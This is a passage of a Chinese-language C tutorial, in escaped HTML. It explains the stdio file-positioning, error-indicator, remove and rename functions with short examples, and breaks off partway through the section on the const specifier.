title=\"rewind()\"\u003e\u003c/a\u003erewind()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003erewind()\u003c/code\u003e函数可以让文件的内部指示器回到文件开始处。它的原型定义在\u003ccode\u003estdio.h\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003erewind\u003c/span\u003e\u003cspan class=\"params\"\u003e(file* stream)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它接受一个文件指针作为参数。\u003c/p\u003e\u003cp\u003e\u003ccode\u003erewind(fp)\u003c/code\u003e基本等价于\u003ccode\u003efseek(fp, 0l, seek_set)\u003c/code\u003e,唯一的区别是\u003ccode\u003erewind()\u003c/code\u003e没有返回值,而且会清除当前文件的错误指示器。\u003c/p\u003e\u003ch3 id=\"fgetpos-,fsetpos\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#fgetpos-%EF%BC%8Cfsetpos\" class=\"headerlink\" title=\"fgetpos(),fsetpos()\"\u003e\u003c/a\u003efgetpos(),fsetpos()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003efseek()\u003c/code\u003e和\u003ccode\u003eftell()\u003c/code\u003e有一个潜在的问题,那就是它们都把文件大小限制在 long int 类型能表示的范围内。这看起来相当大,但是在32位计算机上,long int 的长度为4个字节,能够表示的范围最大为 4GB。随着存储设备的容量迅猛增长,文件也越来越大,往往会超出这个范围。鉴于此,C 语言新增了两个处理大文件的新定位函数:\u003ccode\u003efgetpos()\u003c/code\u003e和\u003ccode\u003efsetpos()\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e它们的原型都定义在头文件\u003ccode\u003estdio.h\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003efgetpos\u003c/span\u003e\u003cspan class=\"params\"\u003e(FILE* stream, \u003cspan class=\"type\"\u003efpos_t\u003c/span\u003e* pos)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003efsetpos\u003c/span\u003e\u003cspan class=\"params\"\u003e(FILE* stream, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003efpos_t\u003c/span\u003e* pos)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003efgetpos()\u003c/code\u003e函数会将文件内部指示器的当前位置,存储在指针变量\u003ccode\u003epos\u003c/code\u003e。该函数接受两个参数,第一个是文件指针,第二个存储指示器位置的变量。\u003c/p\u003e\u003cp\u003e\u003ccode\u003efsetpos()\u003c/code\u003e函数会将文件内部指示器的位置,移动到指针变量\u003ccode\u003epos\u003c/code\u003e指定的地址。注意,变量\u003ccode\u003epos\u003c/code\u003e必须是通过调用\u003ccode\u003efgetpos()\u003c/code\u003e方法获得的。\u003ccode\u003efsetpos()\u003c/code\u003e的两个参数与\u003ccode\u003efgetpos()\u003c/code\u003e必须是一样的。\u003c/p\u003e\u003cp\u003e记录文件内部指示器位置的指针变量\u003ccode\u003epos\u003c/code\u003e,类型为\u003ccode\u003efpos_t*\u003c/code\u003e(file position type 的缩写,意为文件定位类型)。它不一定是整数,也可能是一个 Struct 结构。\u003c/p\u003e\u003cp\u003e下面是用法示例。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003efpos_t\u003c/span\u003e file_pos;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efgetpos(fp, \u0026amp;file_pos);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 一系列文件操作之后\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efsetpos(fp, \u0026amp;file_pos);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,先用\u003ccode\u003efgetpos()\u003c/code\u003e获取内部指针的位置,后面再用\u003ccode\u003efsetpos()\u003c/code\u003e恢复指针的位置。\u003c/p\u003e\u003cp\u003e执行成功时,\u003ccode\u003efgetpos()\u003c/code\u003e和\u003ccode\u003efsetpos()\u003c/code\u003e都会返回\u003ccode\u003e0\u003c/code\u003e,否则返回非零值。\u003c/p\u003e\u003ch3 id=\"ferror-,clearerr\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#ferror-%EF%BC%8Cclearerr\" class=\"headerlink\" title=\"ferror(),clearerr()\"\u003e\u003c/a\u003eferror(),clearerr()\u003c/h3\u003e\u003cp\u003e所有的文件操作函数如果执行失败,都会在文件指针里面记录错误状态。后面的操作只要读取错误指示器,就知道前面的操作出错了。\u003c/p\u003e\u003cp\u003e\u003ccode\u003eferror()\u003c/code\u003e函数用来返回错误指示器的状态。可以通过这个函数,判断前面的文件操作是否成功。它的原型定义在头文件\u003ccode\u003estdio.h\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eferror\u003c/span\u003e\u003cspan class=\"params\"\u003e(FILE *stream)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它接受一个文件指针作为参数。如果前面的操作出现错误,\u003ccode\u003eferror()\u003c/code\u003e就会返回一个非零整数(表示 true),否则返回\u003ccode\u003e0\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e\u003ccode\u003eclearerr()\u003c/code\u003e函数用来重置出错指示器。它的原型定义在头文件\u003ccode\u003estdio.h\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003eclearerr\u003c/span\u003e\u003cspan class=\"params\"\u003e(FILE* fp)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它接受一个文件指针作为参数,没有返回值。\u003c/p\u003e\u003cp\u003e下面是一个例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eFILE* fp = fopen(\u003cspan class=\"string\"\u003e\u0026#34;file.txt\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;w\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e c = fgetc(fp);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (ferror(fp)) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;读取文件:file.txt 时发生错误\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eclearerr(fp);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003efgetc()\u003c/code\u003e尝试读取一个以”写模式“打开的文件,读取失败就会返回 EOF。这时调用\u003ccode\u003eferror()\u003c/code\u003e就可以知道上一步操作出错了。处理完以后,再用\u003ccode\u003eclearerr()\u003c/code\u003e清除出错状态。\u003c/p\u003e\u003cp\u003e文件操作函数如果正常执行,\u003ccode\u003eferror()\u003c/code\u003e和\u003ccode\u003efeof()\u003c/code\u003e都会返回零。如果执行不正常,就要判断到底是哪里出了问题。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"built_in\"\u003efscanf\u003c/span\u003e(fp, \u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, \u0026amp;n) != \u003cspan class=\"number\"\u003e1\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (ferror(fp)) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;io error\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (feof(fp)) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;end of file\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e clearerr(fp);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e fclose(fp);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,当\u003ccode\u003efscanf()\u003c/code\u003e函数报错时,通过检查\u003ccode\u003eferror()\u003c/code\u003e和\u003ccode\u003efeof()\u003c/code\u003e,确定到底发生什么问题。这两个指示器改变状态后,会保持不变,所以要用\u003ccode\u003eclearerr()\u003c/code\u003e清除它们,\u003ccode\u003eclearerr()\u003c/code\u003e可以同时清除两个指示器。\u003c/p\u003e\u003ch3 id=\"remove\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#remove\" class=\"headerlink\" title=\"remove()\"\u003e\u003c/a\u003eremove()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003eremove()\u003c/code\u003e函数用于删除指定文件。它的原型定义在头文件\u003ccode\u003estdio.h\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eremove\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* filename)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它接受文件名作为参数。如果删除成功,\u003ccode\u003eremove()\u003c/code\u003e返回\u003ccode\u003e0\u003c/code\u003e,否则返回非零值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eremove(\u003cspan class=\"string\"\u003e\u0026#34;foo.txt\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例删除了\u003ccode\u003efoo.txt\u003c/code\u003e文件。\u003c/p\u003e\u003cp\u003e注意,删除文件必须是在文件关闭的状态下。如果是用\u003ccode\u003efopen()\u003c/code\u003e打开的文件,必须先用\u003ccode\u003efclose()\u003c/code\u003e关闭后再删除。\u003c/p\u003e\u003ch3 id=\"rename\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#rename\" class=\"headerlink\" title=\"rename()\"\u003e\u003c/a\u003erename()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003erename()\u003c/code\u003e函数用于文件改名,也用于移动文件。它的原型定义在头文件\u003ccode\u003estdio.h\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003erename\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* old_filename, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* new_filename)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它接受两个参数,第一个参数是现在的文件名,第二个参数是新的文件名。如果改名成功,\u003ccode\u003erename()\u003c/code\u003e返回\u003ccode\u003e0\u003c/code\u003e,否则返回非零值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003erename(\u003cspan class=\"string\"\u003e\u0026#34;foo.txt\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;bar.txt\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例将\u003ccode\u003efoo.txt\u003c/code\u003e改名为\u003ccode\u003ebar.txt\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e注意,改名后的文件不能与现有文件同名。另外,如果要改名的文件已经打开了,必须先关闭,然后再改名,对打开的文件进行改名会失败。\u003c/p\u003e\u003cp\u003e下面是移动文件的例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003erename(\u003cspan class=\"string\"\u003e\u0026#34;/tmp/evidence.txt\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;/home/beej/nothing.txt\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"变量说明符\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%8F%98%E9%87%8F%E8%AF%B4%E6%98%8E%E7%AC%A6\" class=\"headerlink\" title=\"变量说明符\"\u003e\u003c/a\u003e变量说明符\u003c/h2\u003e\u003cp\u003eC 语言允许声明变量的时候,加上一些特定的说明符(specifier),为编译器提供变量行为的额外信息。它的主要作用是帮助编译器优化代码,有时会对程序行为产生影响。\u003c/p\u003e\u003ch3 id=\"const\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#const\" class=\"headerlink\" title=\"const\"\u003e\u003c/a\u003econst\u003c/h3\u003e\u003cp\u003e\u003ccode\u003econst\u003c/code\u003e说明符表示变量是只读的,不得被修改。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003edouble\u003c/span\u003e PI = \u003cspan class=\"number\"\u003e3.14159\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ePI = \u003cspan class=\"number\"\u003e3\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 报错\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例里面的\u003ccode\u003econst\u003c/code\u003e,表示变量\u003ccode\u003ePI\u003c/code\u003e的值不应改变。如果改变的话,编译器会报错。\u003c/p\u003e\u003cp\u003e对于数组,\u003ccode\u003econst\u003c/code\u003e表示数组成员不能修改。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e arr[] = {\u003cspan class=\"number\"\u003e1\u003c/span\u003e, \u003cspan class=\"number\"\u003e2\u003c/span\u003e, \u003cspan class=\"number\"\u003e3\u003c/span\u003e, \u003cspan class=\"number\"\u003e4\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003earr[\u003cspan class=\"number\"\u003e0\u003c/span\u003e] = \u003cspan class=\"number\"\u003e5\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 报错\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003econst\u003c/code\u003e使得数组\u003ccode\u003earr\u003c/code\u003e的成员无法修改。\u003c/p\u003e\u003cp\u003e对于指针变量,\u003ccode\u003econst\u003c/code\u003e有两种写法,含义是不一样的。如果\u003ccode\u003econst\u003c/code\u003e在\u003ccode\u003e*\u003c/code\u003e前面,表示指针指向的值不可修改。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// const 表示指向的值 *x 不能修改\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e * x\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 或者\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e * x\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e下面示例中,对\u003ccode\u003ex\u003c/code\u003e指向的值进行修改导致报错。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e p = \u003cspan class=\"number\"\u003e1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e* x = \u0026amp;p;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e(*x)++; \u003cspan class=\"comment\"\u003e// 报错\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e如果\u003ccode\u003econst\u003c/code\u003e在\u003ccode\u003e*\u003c/code\u003e后面,表示指针包含的地址不可修改。\u003c/p\u003e\u003cfigure class=\"highlight 